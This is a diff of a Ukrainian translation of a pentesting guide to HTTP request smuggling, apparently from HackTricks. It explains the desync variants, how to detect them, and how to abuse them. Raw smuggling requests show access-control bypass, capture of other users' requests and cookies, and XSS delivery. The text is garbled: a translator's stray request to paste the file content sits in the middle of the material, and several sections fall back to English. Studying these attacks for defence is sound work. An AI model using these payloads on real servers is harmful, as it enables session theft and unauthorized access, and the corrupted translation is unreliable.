+- Атакуючий відправляє chunked-запит, де розмір chunk'у (`7b`) і фактична довжина вмісту (`Content-Length: 4`) не збігаються.
+- Front-end сервер, дотримуючись `Transfer-Encoding`, пересилає увесь запит на бекенд.
+- Back-end сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (7b байт), залишаючи решту як частину небажаного наступного запиту.
 - **Приклад:**
 
 ```
@@ -105,12 +122,12 @@ x=
 
 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
 
-- **Servers:** Обидва підтримують `Transfer-Encoding`, але одного з них можна обдурити, щоб він ігнорував заголовок через обфускацію.
+- **Servers:** Обидва підтримують `Transfer-Encoding`, але один може бути введений в оману обфускацією.
 - **Сценарій атаки:**
 
-- Attacker надсилає запит з обфускованими заголовками `Transfer-Encoding`.
-- Залежно від того, який сервер (front-end або back-end) не розпізнає обфускацію, може бути експлуатовано CL.TE або TE.CL вразливість.
-- Невипрацьована частина запиту, як її бачить один із серверів, стає частиною наступного запиту, що призводить до smuggling.
+- Атакуючий відправляє запит з обфусцированими заголовками `Transfer-Encoding`.
+- Залежно від того, який сервер (front-end або back-end) не розпізнає обфускацію, можна експлуатувати CL.TE або TE.CL вразливість.
+- Непроцессована частина запиту, як її бачить один із серверів, стає частиною наступного запиту, що призводить до smuggling.
 - **Приклад:**
 
 ```
@@ -132,8 +149,8 @@ Transfer-Encoding
 
 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
 
-- Обидва сервери обробляють запит виключно на основі заголовка `Content-Length`.
-- Зазвичай цей сценарій не призводить до smuggling, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
+- Обидва сервери обробляють запит виключно за заголовком `Content-Length`.
+- Цей сценарій зазвичай не призводить до smuggling, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
 - **Приклад:**
 
 ```
@@ -147,8 +164,8 @@ Normal Request
 
 #### **CL.0 Scenario**
 
-- Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує, що тіло запиту має вміст. Back-end ігнорує заголовок `Content-Length` (вважаючи його 0), але front-end його парсить.
-- Це важливо при розумінні і створенні smuggling-атак, оскільки впливає на те, як сервери визначають кінець запиту.
+- Мається на увазі сценарії, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, вказуючи, що тіло запиту не порожнє. Бекенд ігнорує заголовок `Content-Length` (вважає його рівним 0), але фронт-енд його парсить.
+- Це важливо для розуміння і створення smuggling-атак, оскільки це впливає на те, як сервери визначають кінець запиту.
 - **Приклад:**
 
 ```
@@ -162,8 +179,8 @@ Non-Empty Body
 
 #### TE.0 Scenario
 
-- Як попередній, але з використанням TE.
-- Техніка [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Подібно до попереднього, але з використанням TE.
+- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Приклад**:
 ```
 OPTIONS / HTTP/1.1
@@ -182,15 +199,39 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Порушення роботи web server
+#### `0.CL` Сценарій
 
-Ця техніка також корисна в сценаріях, коли можна **порушити роботу web server під час читання початкових HTTP-даних**, але **не закриваючи з'єднання**. Таким чином **body** HTTP-запиту буде розглядатися як **next HTTP request**.
+У ситуації `0.CL` запит надсилається з Content-Length на кшталт:
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+7
 
-Наприклад, як пояснено в [**this writeup**](https://mizu.re/post/twisty-python), у Werkzeug можна було відправити деякі **Unicode** символи, які викликали збій сервера. Однак, якщо HTTP-з'єднання було встановлено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитане і з'єднання залишиться відкритим, тож **body** запиту буде трактуватися як **next HTTP request**.
+GET /404 HTTP/1.1
+X: Y
+```
+І фронтенд не бере до уваги `Content-Length`, тому він відправляє на бекенд лише перший запит (до 7 у прикладі). Натомість бекенд бачить `Content-Length` і чекає на тіло, яке ніколи не надходить, бо фронтенд уже чекає на відповідь.
 
-#### Forcing via hop-by-hop headers
+Проте якщо існує запит, який можна надіслати на бекенд і на який відповідають до отримання тіла запиту, цей deadlock не відбудеться. Наприклад, в IIS це трапляється при відправленні запитів до заборонених слів, наприклад `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), таким чином початковий запит буде оброблений негайно, а другий запит міститиме запит жертви, наприклад:
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+Це корисно для викликання desync, але до цього моменту не мало жодного впливу.
 
-Зловживаючи hop-by-hop headers, можна змусити proxy **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
+Однак у пості пропонується рішення цього шляхом перетворення **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+
+#### Порушення роботи веб-сервера
+
+Ця техніка також корисна в ситуаціях, коли можливо **break a web server while reading the initial HTTP data** але **without closing the connection**. Таким чином, **body** HTTP-запиту буде вважатися **next HTTP request**.
+
+Наприклад, як пояснено в [**this writeup**](https://mizu.re/post/twisty-python), у Werkzeug можна було надіслати деякі **Unicode** символи, що змушувало сервер **break**. Однак, якщо HTTP-з'єднання було встановлене з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано і з'єднання залишиться відкритим, тож **body** запиту буде трактуватися як **next HTTP request**.
+
+#### Примус через hop-by-hop headers
+
+Зловживаючи hop-by-hop headers, ви можете вказати proxy **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
 ```
 Connection: Content-Length
 ```
@@ -201,15 +242,15 @@ For **more information about hop-by-hop headers** visit:
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## Пошук HTTP Request Smuggling
+## Виявлення HTTP Request Smuggling
 
-Виявлення вразливостей HTTP request smuggling часто досягається за допомогою таймінгових технік, які базуються на спостереженні за тим, скільки часу сервер відповідає на модифіковані запити. Ці техніки особливо корисні для виявлення вразливостей CL.TE та TE.CL. Окрім цих методів, існують інші стратегії та інструменти для пошуку таких вразливостей:
+Виявлення вразливостей HTTP request smuggling часто досягається за допомогою таймінгових технік, які ґрунтуються на спостереженні за тим, скільки часу сервер відповідає на маніпульовані запити. Ці техніки особливо корисні для виявлення CL.TE та TE.CL вразливостей. Окрім цих методів, існують інші стратегії та інструменти для пошуку таких вразливостей:
 
-### Пошук вразливостей CL.TE за допомогою таймінгових технік
+### Виявлення CL.TE вразливостей за допомогою таймінгових технік
 
 - **Метод:**
 
-- Надіслати запит, який, якщо застосунок вразливий, змусить back-end сервер чекати додаткові дані.
+- Надішліть запит, який, якщо застосунок вразливий, змусить бекенд-сервер чекати додаткових даних.
 - **Приклад:**
 
 ```
@@ -225,18 +266,18 @@ A
 ```
 
 - **Спостереження:**
-- Front-end сервер обробляє запит на основі `Content-Length` і передчасно обрізає повідомлення.
-- Back-end сервер, очікуючи chunked-повідомлення, чекає наступного chunk'у, який ніколи не надходить, що спричиняє затримку.
+- Фронтенд-сервер обробляє запит на основі `Content-Length` і передчасно перериває повідомлення.
+- Бекенд-сервер, очікуючи chunked-повідомлення, чекає наступного chunk, який ніколи не надходить, що спричиняє затримку.
 
 - **Індикатори:**
-- Таймаути або довгі затримки у відповіді.
-- Отримання 400 Bad Request від back-end сервера, іноді з детальною інформацією про сервер.
+- Таймаути або тривалі затримки відповіді.
+- Отримання 400 Bad Request від бекенд-сервера, іноді з детальною інформацією про сервер.
 
-### Пошук вразливостей TE.CL за допомогою таймінгових технік
+### Виявлення TE.CL вразливостей за допомогою таймінгових технік
 
 - **Метод:**
 
-- Надіслати запит, який, якщо застосунок вразливий, змусить back-end сервер чекати додаткові дані.
+- Надішліть запит, який, якщо застосунок вразливий, змусить бекенд-сервер чекати додаткових даних.
 - **Приклад:**
 
 ```
@@ -251,41 +292,49 @@ X
 ```
 
 - **Спостереження:**
-- Front-end сервер обробляє запит на основі `Transfer-Encoding` і пересилає все повідомлення.
-- Back-end сервер, очікуючи повідомлення на основі `Content-Length`, чекає додаткових даних, які ніколи не надходять, що спричиняє затримку.
+- Фронтенд-сервер обробляє запит на основі `Transfer-Encoding` і пересилає повне повідомлення.
+- Бекенд-сервер, очікуючи повідомлення на основі `Content-Length`, чекає додаткових даних, які ніколи не надходять, що викликає затримку.
 
 ### Інші методи пошуку вразливостей
 
-- **Диференційний аналіз відповіді:**
-- Надіслати трохи змінені версії запиту і спостерігати, чи відрізняються відповіді сервера несподіваним чином, що вказує на розбіжність у парсингу.
+- **Диференційний аналіз відповідей:**
+- Надсилайте трохи відмінні версії запиту і спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
 - **Використання автоматизованих інструментів:**
-- Інструменти на кшталт Burp Suite's 'HTTP Request Smuggler' extension можуть автоматично тестувати на ці вразливості, надсилаючи різні неоднозначні запити і аналізуючи відповіді.
+- Інструменти на кшталт розширення 'HTTP Request Smuggler' для Burp Suite можуть автоматично тестувати на такі вразливості, відправляючи різні форми неоднозначних запитів і аналізуючи відповіді.
 - **Тести на варіації Content-Length:**
-- Надіслати запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині контенту, і спостерігати, як сервер обробляє такі невідповідності.
+- Надсилайте запити з різними значеннями `Content-Length`, що не збігаються з фактичною довжиною контенту, і спостерігайте, як сервер обробляє такі невідповідності.
 - **Тести на варіації Transfer-Encoding:**
-- Надіслати запити з обфускованими або пошкодженими заголовками `Transfer-Encoding` і відстежувати, як front-end і back-end сервери реагують на такі маніпуляції.
+- Надсилайте запити з обфускованими або пошкодженими заголовками `Transfer-Encoding` і відстежуйте, як по-різному фронтенд і бекенд сервери реагують на такі маніпуляції.
+
+### The `Expect: 100-continue` header
+
+Перевірте, як цей заголовок може допомогти при експлуатації http desync у:
+
+{{#ref}}
+../special-http-headers.md
+{{#endref}}
 
 ### HTTP Request Smuggling Vulnerability Testing
 
-Після підтвердження ефективності таймінгових технік важливо перевірити, чи можна маніпулювати клієнтськими запитами. Прямий метод — спробувати отруїти (poison) ваші запити, наприклад зробити так, щоб запит до `/` повертав 404. Приклади CL.TE та TE.CL, обговорені раніше в [Basic Examples](#basic-examples), показують, як отруїти клієнтський запит, щоб викликати 404 відповідь, хоча клієнт намагався доступитися до іншого ресурсу.
+Після підтвердження ефективності таймінгових технік важливо перевірити, чи можна маніпулювати клієнтськими запитами. Простий метод — спробувати poisoning ваших запитів, наприклад, змусити запит до `/` повернути 404. Приклади `CL.TE` та `TE.CL`, розглянуті раніше в [Basic Examples](#basic-examples), демонструють, як poison-ити клієнтський запит, щоб отримати 404 відповідь, всупереч тому, що клієнт намагався звернутися до іншого ресурсу.
 
 **Ключові моменти**
 
-При тестуванні на request smuggling шляхом втручання в інші запити, майте на увазі:
+Під час тестування на вразливості request smuggling через втручання в інші запити врахуйте:
 
-- **Окремі мережеві з'єднання:** "attack" і "normal" запити мають відправлятися по різних мережевих з'єднаннях. Використання того самого з'єднання для обох не підтверджує наявність вразливості.
-- **Ідентичні URL та параметри:** Намагайтеся використовувати однакові URL і імена параметрів для обох запитів. Сучасні застосунки часто маршрутизують запити до конкретних back-end серверів на основі URL і параметрів. Відповідність підвищує ймовірність того, що обидва запити оброблятимуться тим самим сервером — це передумова успішної атаки.
-- **Таймінг і умови гонки (racing conditions):** "Normal" запит, який має виявити втручання від "attack" запиту, конкурує з іншими одночасними запитами застосунку. Тому надсилайте "normal" запит одразу після "attack". Завантажені застосунки можуть вимагати кількох спроб для однозначного підтвердження вразливості.
-- **Проблеми балансування навантаження:** Front-end сервери, що виступають як load balancers, можуть розподіляти запити між різними back-end системами. Якщо "attack" і "normal" запити потрапляють на різні системи, атака не спрацює. Через це може знадобитися кілька спроб, щоб підтвердити наявність вразливості.
-- **Непередбачений вплив на користувачів:** Якщо ваша атака випадково впливає на запит іншого користувача (а не на "normal" запит, який ви надіслали для виявлення), це означає, що ваша атака вплинула на іншого користувача застосунку. Постійне тестування може порушувати роботу інших користувачів, тому підходьте обережно.
+- **Роздільні мережеві з'єднання:** "атака" та "нормальні" запити повинні відправлятися по окремих мережевих з'єднаннях. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
+- **Послідовні URL і параметри:** Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні застосунки часто маршрутизують запити на конкретні бекенд-сервери на основі URL та параметрів. Узгодження цих значень підвищує ймовірність того, що обидва запити оброблятиме той самий сервер, що є передумовою для успішної атаки.
+- **Таймінг і умов гонки:** "Нормальний" запит, призначений для виявлення перешкод від "атаки", конкурує з іншими одночасними запитами застосунку. Тому відправляйте "нормальний" запит відразу після "атакуючого" запиту. Завантажені застосунки можуть вимагати кількох спроб для остаточного підтвердження вразливості.
+- **Проблеми балансування навантаження:** Фронтенд-сервери, що діють як load balancers, можуть розподіляти запити між різними бекенд-системами. Якщо "атака" і "нормальний" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування може вимагати кількох спроб, щоб підтвердити вразливість.
+- **Ненавмисний вплив на користувачів:** Якщо ваша атака ненавмисно впливає на запит іншого користувача (не той "нормальний" запит, який ви відправили для виявлення), це означає, що ваша атака зачепила іншого користувача застосунку. Постійне тестування може порушувати роботу інших користувачів, тому слід діяти обережно.
 
-## Відокремлення артефактів HTTP/1.1 pipelining від genuine request smuggling
+## Відокремлення артефактів HTTP/1.1 pipelining від справжнього request smuggling
 
-Повторне використання з'єднання (keep-alive) і pipelining легко можуть створити ілюзії "smuggling" у тестових інструментах, які надсилають кілька запитів по тому самому сокету. Навчіться відокремлювати нешкідливі клієнтські артефакти від реального серверного desync.
+Повторне використання з'єднання (keep-alive) та pipelining можуть легко створювати ілюзії «smuggling» у тестових інструментах, що відправляють кілька запитів по одному сокету. Навчіться відрізняти нешкідливі клієнтські артефакти від реального серверного desync.
 
 ### Чому pipelining створює класичні false positives
 
-HTTP/1.1 повторно використовує одне TCP/TLS з'єднання і конкатенує запити та відповіді в одному потоці. При pipelining клієнт надсилає кілька запитів підряд і розраховує на відповіді в тому ж порядку. Поширений false-positive — повторна відправка пошкодженого CL.0-стилю payload двічі по одному з'єднанню:
+HTTP/1.1 повторно використовує одне TCP/TLS з'єднання і конкатенує запити та відповіді в одному потоці. При pipelining клієнт відправляє декілька запитів підряд і очікує відповіді в тому ж порядку. Поширений false-positive — повторно відправити пошкоджений CL.0-style payload двічі по одному з'єднанню:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -294,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-I don’t have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (or upload it), and I will translate the relevant English text into Ukrainian following your rules.
+Будь ласка, вставте вміст файлу src/pentesting-web/http-request-smuggling/README.md, який потрібно перекласти. Я перекладу весь релевантний англомовний текст на українську, зберігаючи точно ту саму розмітку Markdown/HTML, не перекладаючи код, імена технік, загальні хакерські терміни, назви хмар/платформ, слово "leak", посилання, шляхи та спеціальні теги/рефери згідно з вашими вказівками.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -308,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Якщо server проігнорував невірно сформований `Content_Length`, FE↔BE desync не відбувається. При повторному використанні ваш client фактично відправив цей byte-stream, який server розпарсив як два незалежні requests:
+Якщо сервер ігнорував некоректний `Content_Length`, то немає FE↔BE десинхронізації. При повторному використанні ваш клієнт фактично відправив цей byte-stream, який сервер розібрав як два незалежні запити:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -322,42 +371,42 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Вплив: відсутній. Ви просто desynced свій клієнт від фреймінгу сервера.
+Impact: none. You just desynced your client from the server framing.
 
 > [!TIP]
 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
-### Літмус-тести: pipelining або real desync?
+### Litmus tests: pipelining or real desync?
 
 1. Disable reuse and re-test
-- У Burp Intruder/Repeater вимкніть HTTP/1 reuse та уникайте "Send group in sequence".
-- У Turbo Intruder встановіть `requestsPerConnection=1` та `pipeline=False`.
-- Якщо поведінка зникає, ймовірно, це client-side pipelining, якщо тільки ви не маєте справи з connection-locked/stateful цілями або client-side desync.
+- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
+- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
+- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
 2. HTTP/2 nested-response check
-- Надішліть HTTP/2 запит. Якщо тіло відповіді містить повну nested HTTP/1 response, ви довели наявність backend parsing/desync бага замість чисто client-side артефакту.
+- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
 3. Partial-requests probe for connection-locked front-ends
-- Деякі FEs повторно використовують upstream BE connection лише якщо клієнт повторно використав своє. Використовуйте partial-requests для виявлення поведінки FE, яка віддзеркалює reuse клієнта.
-- Див. PortSwigger "Browser‑Powered Desync Attacks" для connection-locked техніки.
+- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
+- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
 4. State probes
-- Шукайте відмінності між першим і наступними запитами на тому ж TCP-з'єднанні (first-request routing/validation).
-- Burp "HTTP Request Smuggler" включає connection‑state probe, який автоматизує це.
+- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
+- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
 5. Visualize the wire
-- Використовуйте розширення Burp "HTTP Hacker" для інспекції concatenation та message framing безпосередньо під час експериментів з reuse та partial requests.
+- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
 
 ### Connection‑locked request smuggling (reuse-required)
 
-Деякі front-ends повторно використовують upstream connection лише коли клієнт повторно використовує своє. Реальний smuggling існує, але умовний на client-side reuse. Щоб відрізнити й довести вплив:
-- Доведіть server-side bug
-- Використайте HTTP/2 nested-response check, або
-- Використайте partial-requests, щоб показати, що FE реюзає upstream лише коли клієнт це робить.
-- Показати реальний вплив, навіть якщо пряме cross-user socket зловживання заблоковано:
-- Cache poisoning: отруєння shared caches через desync так, щоб відповіді впливали на інших користувачів.
-- Internal header disclosure: віддзеркалення FE-injected headers (наприклад, auth/trust headers) і pivot до auth bypass.
-- Bypass FE controls: smuggle restricted paths/methods повз front-end.
-- Host-header abuse: поєднати з host routing quirks, щоб перейти до internal vhosts.
+Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
+- Prove the server-side bug
+- Use the HTTP/2 nested-response check, or
+- Use partial-requests to show the FE only reuses upstream when the client does.
+- Show real impact even if direct cross-user socket abuse is blocked:
+- Cache poisoning: poison shared caches via the desync so responses affect other users.
+- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
+- Bypass FE controls: smuggle restricted paths/methods past the front-end.
+- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
 - Operator workflow
-- Відтворіть з контрольованим reuse (Turbo Intruder `requestsPerConnection=2`, або Burp Repeater tab group → "Send group in sequence (single connection)").
-- Потім зв'яжіть це з cache/header-leak/control-bypass примітивами і продемонструйте вплив на cross-user або авторизацію.
+- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
 
 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
@@ -367,31 +416,31 @@ X: Y
 
 ### Client‑side desync constraints
 
-Якщо ви таргетуєте browser-powered/client-side desync, зловмисний запит має бути відправлений браузером cross-origin. Header obfuscation трюки не працюватимуть. Зосередьтеся на примітивах, доступних через navigation/fetch, а потім переходьте до cache poisoning, header disclosure або front-end control bypass, де downstream компоненти віддзеркалюють або кешують відповіді.
+If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
 
-Для фонового матеріалу та end-to-end робочих процесів:
+For background and end-to-end workflows:
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-### Інструменти, що допомагають у визначенні
+### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): показує низькорівневу HTTP-поведінку та socket concatenation.
+- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: точний контроль над connection reuse через `requestsPerConnection`.
-- Burp HTTP Request Smuggler: включає connection‑state probe для виявлення first‑request routing/validation.
+- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
 
 > [!NOTE]
-> Розглядайте ефекти, що залежать лише від reuse, як неістотні, якщо ви не можете довести server-side desync і додати конкретний вплив (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control тощо).
+> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
 
-## Зловживання HTTP Request Smuggling
+## Abusing HTTP Request Smuggling
 
 ### Circumventing Front-End Security via HTTP Request Smuggling
 
-Інколи front-end проксі застосовують заходи безпеки, ретельно перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє неавторизований доступ до обмежених endpoint-ів. Наприклад, доступ до `/admin` може бути заборонений зовні, і front-end proxy активно блокуватиме такі спроби. Проте цей проксі може не перевіряти вкладені запити всередині smuggled HTTP request, залишаючи лазівку для обходу цих обмежень.
+Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
 
-Розгляньмо наступні приклади, що ілюструють, як HTTP Request Smuggling може бути використаний для обходу front-end контрольних механізмів безпеки, зокрема таргетуючи шлях `/admin`, який зазвичай охороняє front-end proxy:
+Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
 
 **CL.TE Example**
 ```
@@ -410,9 +459,9 @@ Content-Length: 10
 
 x=
 ```
-У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вкладений запит використовує заголовок `Transfer-Encoding: chunked`. Фронтенд-проксі обробляє початковий `POST` запит, але не перевіряє вкладений `GET /admin` запит, що дозволяє несанкціонований доступ до шляху `/admin`.
+У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Front-end proxy обробляє початковий `POST` запит, але не перевіряє вбудований `GET /admin` запит, що дозволяє несанкціонований доступ до шляху `/admin`.
 
-**TE.CL Приклад**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -428,13 +477,13 @@ a=x
 0
 
 ```
-Навпаки, у атаці TE.CL початковий `POST` запит використовує `Transfer-Encoding: chunked`, а наступний вкладений запит обробляється на основі заголовка `Content-Length`. Подібно до атаки CL.TE, front-end proxy ігнорує вміщений `GET /admin` запит, ненавмисно надаючи доступ до обмеженого шляху `/admin`.
+Навпаки, в атаці TE.CL початковий запит `POST` використовує `Transfer-Encoding: chunked`, а наступний вбудований запит обробляється на підставі заголовка `Content-Length`. Подібно до атаки CL.TE, front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
 
-### Виявлення front-end переписування запитів <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Додатки часто використовують **front-end server** для зміни вхідних запитів перед передачею їх на back-end server. Типовою модифікацією є додавання заголовків, таких як `X-Forwarded-For: <IP of the client>`, щоб передати IP клієнта на back-end. Розуміння цих змін може бути критичним, оскільки воно може виявити способи **bypass protections** або **uncover concealed information or endpoints**.
+Додатки часто використовують фронтальний сервер для модифікації вхідних запитів перед передачею їх на back-end сервер. Типова модифікація полягає у додаванні заголовків, наприклад `X-Forwarded-For: <IP of the client>`, щоб переадресувати IP клієнта на back-end. Розуміння цих змін може бути критично важливим, оскільки це може виявити способи **обходу захисту** або **виявлення прихованої інформації чи кінцевих точок**.
 
-Щоб дослідити, як proxy змінює запит, знайдіть POST-параметр, який back-end відображає в відповіді. Потім складіть запит, використовуючи цей параметр останнім, подібний до наступного:
+Щоб дослідити, як proxy змінює запит, знайдіть параметр POST, який back-end відображає у відповіді. Потім сформуйте запит, використавши цей параметр останнім, наприклад:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -451,19 +500,19 @@ Content-Length: 100
 
 search=
 ```
-У цій структурі наступні компоненти запиту додаються після `search=`, який є параметром, відображеним у відповіді. Це відображення викриє заголовки наступного запиту.
+У цій структурі наступні компоненти запиту додаються після `search=`, який є параметром, відображеним у відповіді. Це відображення покаже заголовки наступного запиту.
 
-Важливо узгодити заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з малого значення і поступово збільшувати, оскільки занадто мале значення обрізатиме відображені дані, а занадто велике може призвести до помилки запиту.
+Важливо, щоб заголовок `Content-Length` вкладеного запиту відповідав фактичній довжині вмісту. Рекомендується починати з невеликого значення і поступово збільшувати його, оскільки занадто мале значення обрізатиме відображені дані, а занадто велике може спричинити помилку запиту.
 
-Ця техніка також застосовна в контексті вразливості TE.CL, проте запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра `search`.
+Ця техніка також застосовна в контексті вразливості TE.CL, але запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра search.
 
-Цей метод головним чином слугує для розуміння модифікацій запиту, які виконує фронтенд-проксі, фактично проводячи самостійне розслідування.
+Цей метод служить насамперед для розуміння модифікацій запиту, які вносить front-end proxy, по суті виконуючи самостійну перевірку.
 
-### Перехоплення запитів інших користувачів <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Захоплення запитів інших користувачів <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Можна перехопити запити наступного користувача, додавши певний запит як значення параметра під час операції POST. Ось як це можна зробити:
+Можна захопити запити наступного користувача, додавши певний запит як значення параметра під час POST-операції. Ось як це можна зробити:
 
-Додавши наступний запит як значення параметра, ви зможете зберегти запит наступного клієнта:
+Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-У цьому сценарії **параметр comment** призначений для збереження вмісту секції коментарів публікації на публічно доступній сторінці. Відповідно, вміст наступного запиту відобразиться як коментар.
+У цьому сценарії **comment parameter** призначений для збереження вмісту секції коментарів допису на загальнодоступній сторінці. Отже, вміст наступного запиту з'явиться як коментар.
 
-Однак ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, який використовується в smuggled request. Для URL-encoded form submissions цей роздільник — символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може навіть бути частиною рядка запиту.
+Однак ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, який використовується в smuggled request. Для URL-encoded form submissions цей роздільник — символ `&`. Це означає, що захоплений вміст із запиту жертви припиниться на першому `&`, який може бути навіть частиною query string.
 
-Додатково варто зазначити, що підхід також працює при наявності TE.CL vulnerability. У таких випадках запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра search.
+Крім того, варто зазначити, що цей підхід також працює при наявності вразливості TE.CL. У таких випадках запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра search.
 
 ### Використання HTTP request smuggling для експлуатації Reflected XSS
 
-HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, надаючи значні переваги:
+HTTP Request Smuggling можна використовувати для атак на веб-сторінки, вразливі до **Reflected XSS**, що дає суттєві переваги:
 
 - Взаємодія з цільовими користувачами **не потрібна**.
-- Дозволяє експлуатувати XSS в частинах запиту, які **зазвичай недоступні**, наприклад HTTP request headers.
+- Дозволяє експлуатувати XSS у частинах запиту, які **зазвичай недоступні**, наприклад HTTP request headers.
 
-У сценаріях, де вебсайт вразливий до Reflected XSS через заголовок User-Agent, наведений нижче payload демонструє, як експлуатувати цю вразливість:
+У випадках, коли вебсайт вразливий до Reflected XSS через заголовок User-Agent, наступний payload демонструє, як експлуатувати цю вразливість:
 ```
